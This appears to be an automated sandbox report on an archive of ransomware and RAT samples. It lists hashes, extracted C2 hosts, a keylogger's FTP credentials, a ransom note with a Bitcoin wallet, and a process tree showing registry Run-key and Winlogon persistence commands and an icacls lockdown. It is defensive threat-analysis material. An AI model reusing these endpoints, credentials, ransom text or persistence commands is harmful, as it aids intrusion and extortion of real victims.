Overview

overview

10

Static

static

1

RNSM00454.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    206s
  • max time network
    211s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-10-2024 17:24

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00454.7z

  • Size

    84.9MB

  • MD5

    391bfe45681ded9a5a7e7e6063727629

  • SHA1

    120937367da31f9558cba1dfe7b8aea5b6575da2

  • SHA256

    f3b6d60a35a32fdd5258c1e11edc9ce65df5e892a33481dcc6c726600b2110ee

  • SHA512

    0516ccd2112ec0c160b05eeb4908be69de658d251d88eeab2b4cd753a65df5281c2e2d82ac849d17abff846081d599d6da862e4304467f536cb2133d67448da8

  • SSDEEP

    1572864:LmS6K58FcJehSSkvcD//V3XqtTCkBHkiDLkyrk38ezJ6uT5r1ZP5T5zSGj/b3hI:qSbxJUtzpQe8oMk376uTV1ZxTwmbO

Score
10/10
asyncratcrimsonratgandcrabmafiaware666njratnullmixerorcussnakekeyloggerdefaultnullnyan catagilenetaspackv2backdoordiscoverydropperevasionexecutionkeyloggerpyinstallerransomwareratspywarestealertrojanupxvmprotect

Malware Config

Extracted

Family

crimsonrat

C2

173.249.21.206

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

ant-ec.duckdns.org:2054

Mutex

2c1ed4d1ae

Attributes
  • reg_key

    2c1ed4d1ae

  • splitter

    @!#&^%$

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

0.tcp.ap.ngrok.io:10906

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

asyncrat

Version

0.5.6A

Botnet

null

C2

185.19.85.183:55001

185.19.85.183:55029
Mutex

vklkueujfvqaumi

Attributes
  • delay

    5

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

snakekeylogger

Credentials

  • Protocol:     ftp
  • Host:
    ftp://ftp.ecurs.ro/
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    dGZ5eznXv76y

Extracted

Family

nullmixer

C2

http://motiwa.xyz/

Extracted

Path

C:\Users\Admin\Pictures\_README.txt

Ransom Note
== ATTENTION == ============================================================================================== ALL YOUR DATA HAVE BEEN ENCRYPTED YOUR PERSONAL DATA LIKE (DOCUMENTS, DATA BASE, JPG, JPEG, DOC, ETC) HAVE BEEN ENCRYPTED! CHANGING THE EXTENSION'S NAME IS RIDICULOUS THING TO RESTORE YOUR DATA! PERSONAL CODE: judkpMEZ3cWE2MWt2dWtMa0hISUh3QkdTcHFib1pxbk05NUhKYUF5V1BrY2lLYz0=x ENCTRYPTION : .corona ============================================================================================== *What should I do? don't do anything like changing the extension name, it will make your file can't go back to normal *how do i restore my data? You have to buy a software with a unique code for $200 to BITCOIN address: 1E6qZkzbGZHh9hWF4dQcTUdbmsYkvBYPrR *I have already made a payment, what should I do next? You must send your proof of payment along with your personal code to email: [email protected] we will send you the software along with a unique code to restore your data to normal WARNING: "DO NOT MODIFY ANY OF THE ENCRYPTED FILES OR TRY OTHERWISE TO DECRYPT THEM YOURSELF YOU RISK DAMAGING THE FILES AND YOU WILL LOOSE YOUR FILES FOREVER!!" Contact us: email: [email protected]
Wallets

1E6qZkzbGZHh9hWF4dQcTUdbmsYkvBYPrR

Extracted

Path

C:\Users\Admin\Pictures\_README.txt

Ransom Note
== ATTENTION == ============================================================================================== ALL YOUR DATA HAVE BEEN ENCRYPTED YOUR PERSONAL DATA LIKE (DOCUMENTS, DATA BASE, JPG, JPEG, DOC, ETC) HAVE BEEN ENCRYPTED! CHANGING THE EXTENSION'S NAME IS RIDICULOUS THING TO RESTORE YOUR DATA! PERSONAL CODE: gypfdMEZ3cWE2MWt2dWtMa0hISUh3QkdTcHFib1pxbk05NUhKYUF5V1BrY2lLYz0=x ENCTRYPTION : .corona ============================================================================================== *What should I do? don't do anything like changing the extension name, it will make your file can't go back to normal *how do i restore my data? You have to buy a software with a unique code for $200 to BITCOIN address: 1E6qZkzbGZHh9hWF4dQcTUdbmsYkvBYPrR *I have already made a payment, what should I do next? You must send your proof of payment along with your personal code to email: [email protected] we will send you the software along with a unique code to restore your data to normal WARNING: "DO NOT MODIFY ANY OF THE ENCRYPTED FILES OR TRY OTHERWISE TO DECRYPT THEM YOURSELF YOU RISK DAMAGING THE FILES AND YOU WILL LOOSE YOUR FILES FOREVER!!" Contact us: email: [email protected]
Wallets

1E6qZkzbGZHh9hWF4dQcTUdbmsYkvBYPrR

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • CrimsonRAT main payload 1 IoCs
  • CrimsonRat

    Crimson RAT is a malware linked to a Pakistani-linked threat actor.

    ratcrimsonrat
  • Detect MafiaWare666 ransomware 2 IoCs
  • GandCrab payload 2 IoCs
  • Gandcrab

    Gandcrab is a Trojan horse that encrypts files on a computer.

    ransomwarebackdoorgandcrab
  • MafiaWare666 Ransomware

    MafiaWare666 is ransomware written in C# with multiple variants.

    ransomwaremafiaware666
  • NullMixer

    NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.

    droppernullmixer
  • Orcus

    Orcus is a Remote Access Trojan that is being sold on underground forums.

    ratspywarestealerorcus
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

    stealerkeyloggersnakekeylogger
  • Snake Keylogger payload 1 IoCs
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • Async RAT payload 1 IoCs
    rat
  • Core1 .NET packer 3 IoCs

    Detects packer/loader used by .NET malware.

  • Orcurs Rat Executable 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 21 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

    agilenet
  • VMProtect packed file 2 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 17 IoCs
  • Looks up external IP address via web service 18 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Detects Pyinstaller 2 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 10 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • NSIS installer 2 IoCs
    installer
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00454.7z"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:548
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3988
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /1
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:412
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3608
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:648
      • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Blocker.gen-57f4e4f699b016874035f2253141f709eb4ad9eecd479481c63440f0457c968e.exe
        HEUR-Trojan-Ransom.MSIL.Blocker.gen-57f4e4f699b016874035f2253141f709eb4ad9eecd479481c63440f0457c968e.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3212
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "A" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\A.exe"
          4⤵
            PID:5604
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "A" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\A.exe"
              5⤵
                PID:2496
            • C:\Users\Admin\AppData\Roaming\A.exe
              "C:\Users\Admin\AppData\Roaming\A.exe"
              4⤵
                PID:6156
                • C:\Users\Admin\AppData\Local\Temp\mscorsvw.exe
                  "C:\Users\Admin\AppData\Local\Temp\mscorsvw.exe"
                  5⤵
                    PID:11240
              • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Blocker.gen-910acbf1fc3c3f8e10c385f852e889ec5d78fdf0d946ba1f344c6e741086f9a8.exe
                HEUR-Trojan-Ransom.MSIL.Blocker.gen-910acbf1fc3c3f8e10c385f852e889ec5d78fdf0d946ba1f344c6e741086f9a8.exe
                3⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:3036
                • C:\Users\Admin\AppData\Local\Temp\Java Update.exe
                  "C:\Users\Admin\AppData\Local\Temp\Java Update.exe"
                  4⤵
                    PID:1848
                    • C:\Windows\SysWOW64\cmd.exe
                      "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Windows\resources\Java Update Server.exe,"
                      5⤵
                        PID:2272
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Windows\resources\Java Update Server.exe,"
                          6⤵
                            PID:6824
                        • C:\Users\Admin\AppData\Local\Temp\Java Update Server.exe
                          "C:\Users\Admin\AppData\Local\Temp\Java Update Server.exe"
                          5⤵
                            PID:5496
                            • C:\Windows\resources\Java Update Server.exe
                              "C:\Windows\resources\Java Update Server.exe"
                              6⤵
                                PID:6404
                                • C:\Users\Admin\AppData\Local\Temp\Java Update Server.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Java Update Server.exe"
                                  7⤵
                                    PID:7640
                                    • C:\Windows\resources\Java Update Server.exe
                                      "C:\Windows\resources\Java Update Server.exe"
                                      8⤵
                                        PID:9680
                              • C:\Program Files\VideoLAN\VLC\vlc.exe
                                "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\Buscu.mp4"
                                4⤵
                                  PID:3536
                              • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Blocker.gen-a5e68ee39e62fd5c32b530077b51f481443dbd9dc759ecff6138d10c78beed2a.exe
                                HEUR-Trojan-Ransom.MSIL.Blocker.gen-a5e68ee39e62fd5c32b530077b51f481443dbd9dc759ecff6138d10c78beed2a.exe
                                3⤵
                                • Executes dropped EXE
                                PID:2676
                              • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Blocker.gen-c0d4fb902b1c34f89db43d1ce127b939636f552c6a8731753d3fcdda8289817b.exe
                                HEUR-Trojan-Ransom.MSIL.Blocker.gen-c0d4fb902b1c34f89db43d1ce127b939636f552c6a8731753d3fcdda8289817b.exe
                                3⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2916
                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Blocker.gen-c0d4fb902b1c34f89db43d1ce127b939636f552c6a8731753d3fcdda8289817b.exe
                                  "C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Blocker.gen-c0d4fb902b1c34f89db43d1ce127b939636f552c6a8731753d3fcdda8289817b.exe"
                                  4⤵
                                    PID:1440
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1440 -s 1728
                                      5⤵
                                      • Program crash
                                      PID:6572
                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Blocker.gen-e3eb4f3fd6a125e541947b17975f069d1dbfd69abd598fcb74b13f00ca76afdf.exe
                                  HEUR-Trojan-Ransom.MSIL.Blocker.gen-e3eb4f3fd6a125e541947b17975f069d1dbfd69abd598fcb74b13f00ca76afdf.exe
                                  3⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:3944
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 3944 -s 1856
                                    4⤵
                                    • Program crash
                                    PID:888
                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Blocker.gen-fc9745e4f9380f7af9ba4091865d9300d91017e9fa8895df79bfc6be8ea69cfa.exe
                                  HEUR-Trojan-Ransom.MSIL.Blocker.gen-fc9745e4f9380f7af9ba4091865d9300d91017e9fa8895df79bfc6be8ea69cfa.exe
                                  3⤵
                                    PID:236
                                    • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Blocker.gen-fc9745e4f9380f7af9ba4091865d9300d91017e9fa8895df79bfc6be8ea69cfa.exe
                                      "C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Blocker.gen-fc9745e4f9380f7af9ba4091865d9300d91017e9fa8895df79bfc6be8ea69cfa.exe"
                                      4⤵
                                        PID:4796
                                    • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Crypren.gen-eda9f1dce3534f5ddf70ec7df000f2403594b768fd7cd0617a5f4a93fa27688e.exe
                                      HEUR-Trojan-Ransom.MSIL.Crypren.gen-eda9f1dce3534f5ddf70ec7df000f2403594b768fd7cd0617a5f4a93fa27688e.exe
                                      3⤵
                                        PID:548
                                      • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.MSIL.Encoder.gen-211ffa174f19b0f348c3ef5d8978067786c4b11b2df0942bd6b1a26baf064112.exe
                                        HEUR-Trojan-Ransom.MSIL.Encoder.gen-211ffa174f19b0f348c3ef5d8978067786c4b11b2df0942bd6b1a26baf064112.exe
                                        3⤵
                                          PID:2604
                                        • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Agent.gen-fb0c56f73905838f972c5756fab20d1ef2f494cd774b40af36018e4e632fb741.exe
                                          HEUR-Trojan-Ransom.Win32.Agent.gen-fb0c56f73905838f972c5756fab20d1ef2f494cd774b40af36018e4e632fb741.exe
                                          3⤵
                                            PID:3320
                                          • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Blocker.gen-7f908659d33b5d944ea4f2d8dd99d732d0b3a46e48dd7b2f300a95a1bb11b793.exe
                                            HEUR-Trojan-Ransom.Win32.Blocker.gen-7f908659d33b5d944ea4f2d8dd99d732d0b3a46e48dd7b2f300a95a1bb11b793.exe
                                            3⤵
                                              PID:4016
                                            • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Blocker.gen-d164e5f0f5adeba7614cf4296b01d01535b157dd35466b3b19e1d9ee76263f20.exe
                                              HEUR-Trojan-Ransom.Win32.Blocker.gen-d164e5f0f5adeba7614cf4296b01d01535b157dd35466b3b19e1d9ee76263f20.exe
                                              3⤵
                                                PID:2132
                                                • C:\Users\Admin\AppData\Roaming\1.exe
                                                  "C:\Users\Admin\AppData\Roaming\1.exe"
                                                  4⤵
                                                    PID:2828
                                                  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
                                                    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\WFP.docx" /o ""
                                                    4⤵
                                                      PID:944
                                                  • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-fe4cf3e4afc0c34467e91c38cfe445c22e1b41eb9d13930bcc0407273e1f4b93.exe
                                                    HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-fe4cf3e4afc0c34467e91c38cfe445c22e1b41eb9d13930bcc0407273e1f4b93.exe
                                                    3⤵
                                                      PID:1636
                                                    • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Cryptoff.vho-843f6c328b4a1a1e3bfebc3ea29d4c88e94aa8465ed25170474fb46668996ab2.exe
                                                      HEUR-Trojan-Ransom.Win32.Cryptoff.vho-843f6c328b4a1a1e3bfebc3ea29d4c88e94aa8465ed25170474fb46668996ab2.exe
                                                      3⤵
                                                        PID:1172
                                                      • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.GandCrypt.gen-48125cefae44262ef470a47397630ae0ebc6e13970d390ca9b8c266532e4af97.exe
                                                        HEUR-Trojan-Ransom.Win32.GandCrypt.gen-48125cefae44262ef470a47397630ae0ebc6e13970d390ca9b8c266532e4af97.exe
                                                        3⤵
                                                          PID:3036
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 480
                                                            4⤵
                                                            • Program crash
                                                            PID:6416
                                                        • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.GandCrypt.pef-2ba5ac50150deb9cb083faf09a87b5f4ff369021366f7195d0b6ce453d18b8d7.exe
                                                          HEUR-Trojan-Ransom.Win32.GandCrypt.pef-2ba5ac50150deb9cb083faf09a87b5f4ff369021366f7195d0b6ce453d18b8d7.exe
                                                          3⤵
                                                            PID:4684
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4684 -s 480
                                                              4⤵
                                                              • Program crash
                                                              PID:6832
                                                          • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Generic-243cca1b7d2efe5e5d22cf1fcd5e3b93f048d82851ed4ce5da03a575e70346f9.exe
                                                            HEUR-Trojan-Ransom.Win32.Generic-243cca1b7d2efe5e5d22cf1fcd5e3b93f048d82851ed4ce5da03a575e70346f9.exe
                                                            3⤵
                                                              PID:3628
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "cmd.exe"
                                                                4⤵
                                                                  PID:3976
                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                    wmic csproduct get uuid
                                                                    5⤵
                                                                      PID:6556
                                                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Generic-995dea944dc1b9d961a2093a6319b9e3c9bf63ab5d4d5b627fe2b3b1cf7d8fd5.exe
                                                                  HEUR-Trojan-Ransom.Win32.Generic-995dea944dc1b9d961a2093a6319b9e3c9bf63ab5d4d5b627fe2b3b1cf7d8fd5.exe
                                                                  3⤵
                                                                    PID:3712
                                                                  • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Generic-ab6100bf93941dbe5e52fcabb5d38ee260f6ebbf448f41efab203e60f03b12c9.exe
                                                                    HEUR-Trojan-Ransom.Win32.Generic-ab6100bf93941dbe5e52fcabb5d38ee260f6ebbf448f41efab203e60f03b12c9.exe
                                                                    3⤵
                                                                      PID:6380
                                                                    • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-2608f67298be6717de24042753dbdb78e3f396e909ae0b6ad7160974c4797bc5.exe
                                                                      HEUR-Trojan-Ransom.Win32.Stop.gen-2608f67298be6717de24042753dbdb78e3f396e909ae0b6ad7160974c4797bc5.exe
                                                                      3⤵
                                                                        PID:6684
                                                                        • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-2608f67298be6717de24042753dbdb78e3f396e909ae0b6ad7160974c4797bc5.exe
                                                                          HEUR-Trojan-Ransom.Win32.Stop.gen-2608f67298be6717de24042753dbdb78e3f396e909ae0b6ad7160974c4797bc5.exe
                                                                          4⤵
                                                                            PID:5252
                                                                            • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-2608f67298be6717de24042753dbdb78e3f396e909ae0b6ad7160974c4797bc5.exe
                                                                              "C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-2608f67298be6717de24042753dbdb78e3f396e909ae0b6ad7160974c4797bc5.exe" --Admin IsNotAutoStart IsNotTask
                                                                              5⤵
                                                                                PID:6156
                                                                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-2608f67298be6717de24042753dbdb78e3f396e909ae0b6ad7160974c4797bc5.exe
                                                                                  "C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-2608f67298be6717de24042753dbdb78e3f396e909ae0b6ad7160974c4797bc5.exe" --Admin IsNotAutoStart IsNotTask
                                                                                  6⤵
                                                                                    PID:7016
                                                                            • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-51050a74187be122563da3b96be741ed52ac48193667ce81548945c7b795eb2e.exe
                                                                              HEUR-Trojan-Ransom.Win32.Stop.gen-51050a74187be122563da3b96be741ed52ac48193667ce81548945c7b795eb2e.exe
                                                                              3⤵
                                                                                PID:6948
                                                                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-51050a74187be122563da3b96be741ed52ac48193667ce81548945c7b795eb2e.exe
                                                                                  HEUR-Trojan-Ransom.Win32.Stop.gen-51050a74187be122563da3b96be741ed52ac48193667ce81548945c7b795eb2e.exe
                                                                                  4⤵
                                                                                    PID:5696
                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                      icacls "C:\Users\Admin\AppData\Local\e001b1e3-abd5-4efd-91c8-240a4b6405db" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                      5⤵
                                                                                      • Modifies file permissions
                                                                                      PID:6112
                                                                                    • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-51050a74187be122563da3b96be741ed52ac48193667ce81548945c7b795eb2e.exe
                                                                                      "C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-51050a74187be122563da3b96be741ed52ac48193667ce81548945c7b795eb2e.exe" --Admin IsNotAutoStart IsNotTask
                                                                                      5⤵
                                                                                        PID:5624
                                                                                        • C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-51050a74187be122563da3b96be741ed52ac48193667ce81548945c7b795eb2e.exe
                                                                                          "C:\Users\Admin\Desktop\00454\HEUR-Trojan-Ransom.Win32.Stop.gen-51050a74187be122563da3b96be741ed52ac48193667ce81548945c7b795eb2e.exe" --Admin IsNotAutoStart IsNotTask
                                                                                          6⤵
                                                                                            PID:4340
                                                                                    • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-26d85e5c82218152dc06e16ead6e90d3e0142d53b61a1dd61ec5213d4d22078e.exe
                                                                                      HEUR-Trojan.MSIL.Crypt.gen-26d85e5c82218152dc06e16ead6e90d3e0142d53b61a1dd61ec5213d4d22078e.exe
                                                                                      3⤵
                                                                                        PID:5744
                                                                                      • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-274435b225f642717c626c37fd67e2a50a38e0064e4436710a42b11d6dc4eb6d.exe
                                                                                        HEUR-Trojan.MSIL.Crypt.gen-274435b225f642717c626c37fd67e2a50a38e0064e4436710a42b11d6dc4eb6d.exe
                                                                                        3⤵
                                                                                          PID:5436
                                                                                        • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-4f0e5aa77c0e9894c311e8ba4daadeeb5d8b7a6f583cf087a5c90547cfe54708.exe
                                                                                          HEUR-Trojan.MSIL.Crypt.gen-4f0e5aa77c0e9894c311e8ba4daadeeb5d8b7a6f583cf087a5c90547cfe54708.exe
                                                                                          3⤵
                                                                                            PID:5848
                                                                                          • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-5aed7a6dff91c7c268ae65590d79965f0bdc024deacbfe2845037a2c812e06ab.exe
                                                                                            HEUR-Trojan.MSIL.Crypt.gen-5aed7a6dff91c7c268ae65590d79965f0bdc024deacbfe2845037a2c812e06ab.exe
                                                                                            3⤵
                                                                                              PID:6068
                                                                                            • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-6d16502d69f01ecdf8bdad02f5d85411768bf49a33ac085f111e2979fd00d6bf.exe
                                                                                              HEUR-Trojan.MSIL.Crypt.gen-6d16502d69f01ecdf8bdad02f5d85411768bf49a33ac085f111e2979fd00d6bf.exe
                                                                                              3⤵
                                                                                                PID:6180
                                                                                                • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-6d16502d69f01ecdf8bdad02f5d85411768bf49a33ac085f111e2979fd00d6bf.exe
                                                                                                  "C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-6d16502d69f01ecdf8bdad02f5d85411768bf49a33ac085f111e2979fd00d6bf.exe"
                                                                                                  4⤵
                                                                                                    PID:6948
                                                                                                  • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-6d16502d69f01ecdf8bdad02f5d85411768bf49a33ac085f111e2979fd00d6bf.exe
                                                                                                    "C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-6d16502d69f01ecdf8bdad02f5d85411768bf49a33ac085f111e2979fd00d6bf.exe"
                                                                                                    4⤵
                                                                                                      PID:4396
                                                                                                  • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-7d355ccb357a4664354cce4dd540e50eae9e697797d360ec93f14743302a0a9e.exe
                                                                                                    HEUR-Trojan.MSIL.Crypt.gen-7d355ccb357a4664354cce4dd540e50eae9e697797d360ec93f14743302a0a9e.exe
                                                                                                    3⤵
                                                                                                      PID:6328
                                                                                                    • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-89b4067a98c617d7d81350f7b5f5e7d5c2530a766cd42c7d1cb46efac3e9d7ae.exe
                                                                                                      HEUR-Trojan.MSIL.Crypt.gen-89b4067a98c617d7d81350f7b5f5e7d5c2530a766cd42c7d1cb46efac3e9d7ae.exe
                                                                                                      3⤵
                                                                                                        PID:6508
                                                                                                        • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-89b4067a98c617d7d81350f7b5f5e7d5c2530a766cd42c7d1cb46efac3e9d7ae.exe
                                                                                                          "C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-89b4067a98c617d7d81350f7b5f5e7d5c2530a766cd42c7d1cb46efac3e9d7ae.exe"
                                                                                                          4⤵
                                                                                                            PID:9452
                                                                                                        • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-a8f30f94bb5b7d361b7959e0dfda54d18a1aeb3def61be7a9c9e8de46fc85e8d.exe
                                                                                                          HEUR-Trojan.MSIL.Crypt.gen-a8f30f94bb5b7d361b7959e0dfda54d18a1aeb3def61be7a9c9e8de46fc85e8d.exe
                                                                                                          3⤵
                                                                                                            PID:6772
                                                                                                          • C:\Users\Admin\Desktop\00454\HEUR-Trojan.MSIL.Crypt.gen-c516523b2368f491e118c7b31fc917aff2651da0a474688ec9d28c03a268ae58.exe
                                                                                                            HEUR-Trojan.MSIL.Crypt.gen-c516523b2368f491e118c7b31fc917aff2651da0a474688ec9d28c03a268ae58.exe
                                                                                                            3⤵
                                                                                                              PID:5564
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Test.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Test.exe"
                                                                                                                4⤵
